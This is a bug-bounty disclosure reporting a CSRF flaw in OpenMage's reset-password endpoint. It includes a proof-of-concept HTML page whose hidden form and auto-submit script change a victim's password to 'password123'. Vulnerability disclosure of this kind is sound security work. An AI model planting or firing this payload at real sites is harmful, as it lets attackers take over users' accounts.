OpenMage: CSRF in changing password after using reset password link

2021-01-2514:47:04

xenx

hackerone.com

EPSS

0.001

Percentile

33.3%

JSON

Summary:

Hey OpenMage, the forgot password page is not protected against CSRF attack which can lead to changing password. Use the below form to test

&lt;html&gt; 
  &lt;body&gt;
    &lt;form  action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST"&gt;
      &lt;input type="hidden" name="password" value="password123" /&gt;
      &lt;input type="hidden" name="confirmation" value="password123" /&gt;
    &lt;/form&gt;
   &lt;script&gt;document.forms[0].submit()&lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;